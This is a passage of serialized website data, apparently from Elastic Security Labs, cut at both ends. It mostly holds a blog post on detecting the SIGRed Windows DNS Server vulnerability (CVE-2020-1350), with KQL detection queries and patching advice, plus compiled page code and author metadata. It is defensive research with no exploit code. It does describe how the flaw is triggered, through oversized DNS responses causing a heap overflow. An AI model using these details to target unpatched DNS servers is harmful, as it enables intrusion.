ww.greynoise.io/viz/query/?gnql=CVE-2021-44228\",rel:\"nofollow\",children:\"https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://logging.apache.org/log4j/2.x/security.html#\",rel:\"nofollow\",children:\"https://logging.apache.org/log4j/2.x/security.html#\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/christophetd/log4shell-vulnerable-app\",rel:\"nofollow\",children:\"https://github.com/christophetd/log4shell-vulnerable-app\"})})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(h,t)})):h(t)}var _=x;return y(j);})();\n;return Component;"},"_id":"articles/detecting-log4j2-with-elastic-security.mdx","_raw":{"sourceFilePath":"articles/detecting-log4j2-with-elastic-security.mdx","sourceFileName":"detecting-log4j2-with-elastic-security.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detecting-log4j2-with-elastic-security"},"type":"Article","imageUrl":"/assets/images/detecting-log4j2-with-elastic-security/blog-security-detection-720x420.png","readingTime":"14 min read","series":"","url":"/detecting-log4j2-with-elastic-security","headings":[{"level":2,"title":"Overview","href":"#overview"},{"level":2,"title":"Summary of CVE-2021-44228 (Log4Shell)","href":"#summary-of-cve-2021-44228-log4shell"},{"level":2,"title":"Detecting Exploitation of Log4Shell in Elastic Security","href":"#detecting-exploitation-of-log4shell-in-elastic-security"},{"level":2,"title":"Update: Detection \u0026 hunting improvements","href":"#update-detection--hunting-improvements"},{"level":2,"title":"Elastic Endgame EQL Queries","href":"#elastic-endgame-eql-queries"},{"level":2,"title":"Community Detections","href":"#community-detections"},{"level":2,"title":"Additional Mitigation Strategies","href":"#additional-mitigation-strategies"},{"level":2,"title":"Thank you, from Elastic Security.","href":"#thank-you-from-elastic-security"},{"level":2,"title":"Reference Material","href":"#reference-material"}],"author":[{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Detection rules for SIGRed vulnerability","slug":"detection-rules-for-sigred-vulnerability","date":"2022-11-22","description":"The SIGRed vulnerability impacts all systems leveraging the Windows DNS server service (Windows 2003+). To defend your environment, we recommend implementing the detection logic included in this blog post using technology like Elastic Security.","image":"blog-thumb-security-laptop.png","tags":["sigred","cve-2020-1350"],"body":{"raw":"\n\u003e To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as [Endpoint security](https://www.elastic.co/endpoint-security/), [Winlogbeat](https://www.elastic.co/beats/winlogbeat), [Packetbeat](https://www.elastic.co/beats/packetbeat), or [network security monitoring (NSM)](https://www.elastic.co/training/network-security-monitoring-engineer) platforms such as Zeek or Suricata.\n\n## Executive summary\n\nOn July 14, 2020, Microsoft released a [security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350) related to a remote code execution (RCE) and denial of service (DoS) vulnerability ([CVE-2020-1350](https://nvd.nist.gov/vuln/detail/CVE-2020-1350)) in Windows DNS Server (2003 - 2019).\n\n### Summary\n\n- National Institute of Standards and Technology (NIST) assigned a critical [CVSS score](https://www.first.org/cvss/v3.1/specification-document)of 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction\n- The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported\n- The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services\n- The vulnerability was [reported](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/) by Check Point Research and given name “SIGRed”\n\n### Timeline of events\n\n- May 19, 2020 - Initial Check Point disclosure sent to Microsoft\n- June 18, 2020 - CVE-2020-1350 issued to vulnerability\n- July 14, 2020 - Microsoft released patch\n- July 16, 2020 - First public DoS proof-of-concept [published](https://github.com/maxpl0it/CVE-2020-1350-DoS)\n- July 17, 2020 - Elastic releases SIGRed public detection logic\n\n## Impact\n\nAll systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.\n\nOf note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.\n\nThe SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT\u0026CK® framework:\n\n### Tactics\n\n- [Lateral Movement](https://attack.mitre.org/tactics/TA0008)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n\n### Techniques\n\n- [External Remote Services](https://attack.mitre.org/techniques/T1133)\n- [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210)\n\n## Detection\n\n### Detection logic\n\nOn June 30, 2020, The Elastic Security Intelligence \u0026 Analytics Team [released](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo) our [Detection Rules Repository](https://github.com/elastic/detection-rules) to the public. Expanding on the rules that were released with that post, we’ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:\n\n- [Unusual Child Process of dns.exe](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_children.toml)\n- [Unusual File Modification by dns.exe](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_file_writes.toml)\n- [Abnormally Large DNS Response](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_dns_server_overflow.toml)\n\n### Unusual child of dns.exe - Kibana Query Language (KQL)\n\nThe detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.\n\n```\nevent.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe\n```\n\n_Figure 1 - Unusual child process of dns.exe_\n\n### Unusual file operations of dns.exe (KQL)\n\nThe detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.\n\n```\nevent.category:file and process.name:dns.exe and not file.name:dns.log\n```\n\n_Figure 2 - Unusual file modification by dns.exe_\n\n### Network (Packetbeat and Filebeat with the Zeek or Suricata modules)\n\nAs detailed in the [Check Point SIGRed research](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/), abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).\n\n```\nevent.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes\u003e60000\n```\n\n_Figure 3 - Abnormally large DNS response (KQL)_\n\n\n\n\n\n## Defensive recommendations\n\n1. Review and [implement](https://www.elastic.co/guide/en/siem/guide/7.8/rules-ui-create.html#create-rule-ui) the above detection logic within your environment using technology such as [Endpoint security](https://www.elastic.co/endpoint-security/), [Winlogbeat](https://www.elastic.co/beats/winlogbeat), [Packetbeat](https://www.elastic.co/beats/packetbeat), or [network security monitoring (NSM)](https://www.elastic.co/training/network-security-monitoring-engineer) platforms such as Zeek or Suricata.\n2. Use the included network rule to identify large DNS queries and responses from internal and external populations.\n3. Ensure that you have deployed the latest Microsoft [Security Update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350) (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft [released](https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability) a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied.\n4. Maintain backups of your critical systems to aid in quick recovery.\n5. Perform routine vulnerability scans of your systems and patch identified vulnerabilities.\n\n## References\n\n1. [CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350)\n2. [CVE-2020-1350](https://nvd.nist.gov/vuln/detail/CVE-2020-1350)\n3. [SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/)\n4. [Elastic Security opens public detection rules repo](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo)\n5. [Maxpl0it - CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit](https://github.com/maxpl0it/CVE-2020-1350-DoS)\n6. [SANS Internet Storm Center - PATCH NOW - SIGRed - CVE-2020-1350 - Microsoft DNS Server Vulnerability](https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/)\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,w=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),g=(n,e)=\u003e{for(var t in e)o(n,t,{get:e[t],enumerable:!0})},s=(n,e,t,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!w.call(n,r)\u0026\u0026r!==t\u0026\u0026o(n,r,{get:()=\u003ee[r],enumerable:!(l=u(e,r))||l.enumerable});return n};var y=(n,e,t)=\u003e(t=n!=null?h(m(n)):{},s(e||!n||!n.__esModule?o(t,\"default\",{value:n,enumerable:!0}):t,n)),b=n=\u003es(o({},\"__esModule\",{value:!0}),n);var a=f((E,c)=\u003e{c.exports=_jsx_runtime});var x={};g(x,{default:()=\u003ek,frontmatter:()=\u003ev});var i=y(a()),v={title:\"Detection rules for SIGRed vulnerability\",slug:\"detection-rules-for-sigred-vulnerability\",date:\"2022-11-22\",description:\"The SIGRed vulnerability impacts all systems leveraging the Windows DNS server service (Windows 2003+). To defend your environment, we recommend implementing the detection logic included in this blog post using technology like Elastic Security.\",author:[{slug:\"seth-goodwin\"},{slug:\"daniel-stepanic\"},{slug:\"justin-ibarra\"},{slug:\"andrew-pease\"}],image:\"blog-thumb-security-laptop.png\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}],tags:[\"sigred\",\"cve-2020-1350\"]};function d(n){let e=Object.assign({blockquote:\"blockquote\",p:\"p\",a:\"a\",h2:\"h2\",h3:\"h3\",ul:\"ul\",li:\"li\",pre:\"pre\",code:\"code\",em:\"em\",img:\"img\",ol:\"ol\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.p,{children:[\"To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/endpoint-security/\",rel:\"nofollow\",children:\"Endpoint security\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/beats/winlogbeat\",rel:\"nofollow\",children:\"Winlogbeat\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/beats/packetbeat\",rel:\"nofollow\",children:\"Packetbeat\"}),\", or \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/training/network-security-monitoring-engineer\",rel:\"nofollow\",children:\"network security monitoring (NSM)\"}),\" platforms such as Zeek or Suricata.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"executive-summary\",children:\"Executive summary\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"On July 14, 2020, Microsoft released a \",(0,i.jsx)(e.a,{href:\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350\",rel:\"nofollow\",children:\"security update\"}),\" related to a remote code execution (RCE) and denial of service (DoS) vulnerability (\",(0,i.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2020-1350\",rel:\"nofollow\",children:\"CVE-2020-1350\"}),\") in Windows DNS Server (2003 - 2019).\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"National Institute of Standards and Technology (NIST) assigned a critical \",(0,i.jsx)(e.a,{href:\"https://www.first.org/cvss/v3.1/specification-document\",rel:\"nofollow\",children:\"CVSS score\"}),\"of 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction\"]}),`\n`,(0,i.jsx)(e.li,{children:\"The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported\"}),`\n`,(0,i.jsx)(e.li,{children:\"The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"The vulnerability was \",(0,i.jsx)(e.a,{href:\"https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/\",rel:\"nofollow\",children:\"reported\"}),\" by Check Point Research and given name \\u201CSIGRed\\u201D\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"timeline-of-events\",children:\"Timeline of events\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"May 19, 2020 - Initial Check Point disclosure sent to Microsoft\"}),`\n`,(0,i.jsx)(e.li,{children:\"June 18, 2020 - CVE-2020-1350 issued to vulnerability\"}),`\n`,(0,i.jsx)(e.li,{children:\"July 14, 2020 - Microsoft released patch\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"July 16, 2020 - First public DoS proof-of-concept \",(0,i.jsx)(e.a,{href:\"https://github.com/maxpl0it/CVE-2020-1350-DoS\",rel:\"nofollow\",children:\"published\"})]}),`\n`,(0,i.jsx)(e.li,{children:\"July 17, 2020 - Elastic releases SIGRed public detection logic\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"impact\",children:\"Impact\"}),`\n`,(0,i.jsx)(e.p,{children:\"All systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Of note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT\u0026CK\\xAE framework:\"}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0008\",rel:\"nofollow\",children:\"Lateral Movement\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1133\",rel:\"nofollow\",children:\"External Remote Services\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1210\",rel:\"nofollow\",children:\"Exploitation of Remote Services\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsx)(e.h3,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"On June 30, 2020, The Elastic Security Intelligence \u0026 Analytics Team \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo\",rel:\"nofollow\",children:\"released\"}),\" our \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"Detection Rules Repository\"}),\" to the public. Expanding on the rules that were released with that post, we\\u2019ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_children.toml\",rel:\"nofollow\",children:\"Unusual Child Process of dns.exe\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_file_writes.toml\",rel:\"nofollow\",children:\"Unusual File Modification by dns.exe\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_dns_server_overflow.toml\",rel:\"nofollow\",children:\"Abnormally Large DNS Response\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"unusual-child-of-dnsexe---kibana-query-language-kql\",children:\"Unusual child of dns.exe - Kibana Query Language (KQL)\"}),`\n`,(0,i.jsx)(e.p,{children:\"The detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 1 - Unusual child process of dns.exe\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"unusual-file-operations-of-dnsexe-kql\",children:\"Unusual file operations of dns.exe (KQL)\"}),`\n`,(0,i.jsx)(e.p,{children:\"The detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.category:file and process.name:dns.exe and not file.name:dns.log\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 2 - Unusual file modification by dns.exe\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"network-packetbeat-and-filebeat-with-the-zeek-or-suricata-modules\",children:\"Network (Packetbeat and Filebeat with the Zeek or Suricata modules)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As detailed in the \",(0,i.jsx)(e.a,{href:\"https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/\",rel:\"nofollow\",children:\"Check Point SIGRed research\"}),\", abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes\u003e60000\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 3 - Abnormally large DNS response (KQL)\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/detection-rules-for-sigred-vulnerability/packetbeat-network-blog-sigred-vulnerability.png\",alt:\"Figure 4 - Packetbeat network detection logic identifying SIGRed - PCAP Source: maxpl0it\",width:\"1440\",height:\"492\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/detection-rules-for-sigred-vulnerability/filebeat-network-blog-sigred-vulnerability.png\",alt:\"Figure 5 - Filebeat (with Zeek and Suricata) network detection logic identifying SIGRed - PCAP Source: SANS Internet Storm Center\",width:\"1440\",height:\"471\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"defensive-recommendations\",children:\"Defensive recommendations\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Review and \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/siem/guide/7.8/rules-ui-create.html#create-rule-ui\",rel:\"nofollow\",children:\"implement\"}),\" the above detection logic within your environment using technology such as \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/endpoint-security/\",rel:\"nofollow\",children:\"Endpoint security\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/beats/winlogbeat\",rel:\"nofollow\",children:\"Winlogbeat\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/beats/packetbeat\",rel:\"nofollow\",children:\"Packetbeat\"}),\", or \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/training/network-security-monitoring-engineer\",rel:\"nofollow\",children:\"network security monitoring (NSM)\"}),\" platforms such as Zeek or Suricata.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Use the included network rule to identify large DNS queries and responses from internal and external populations.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Ensure that you have deployed the latest Microsoft \",(0,i.jsx)(e.a,{href:\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350\",rel:\"nofollow\",children:\"Security Update\"}),\" (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft \",(0,i.jsx)(e.a,{href:\"https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability\",rel:\"nofollow\",children:\"released\"}),\" a registry-based workaround that doesn\\u2019t require a restart. This can be used as a temporary solution before the patch is applied.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Maintain backups of your critical systems to aid in quick recovery.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform routine vulnerability scans of your systems and patch identified vulnerabilities.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350\",rel:\"nofollow\",children:\"CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2020-1350\",rel:\"nofollow\",children:\"CVE-2020-1350\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/\",rel:\"nofollow\",children:\"SIGRed \\u2013 Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo\",rel:\"nofollow\",children:\"Elastic Security opens public detection rules 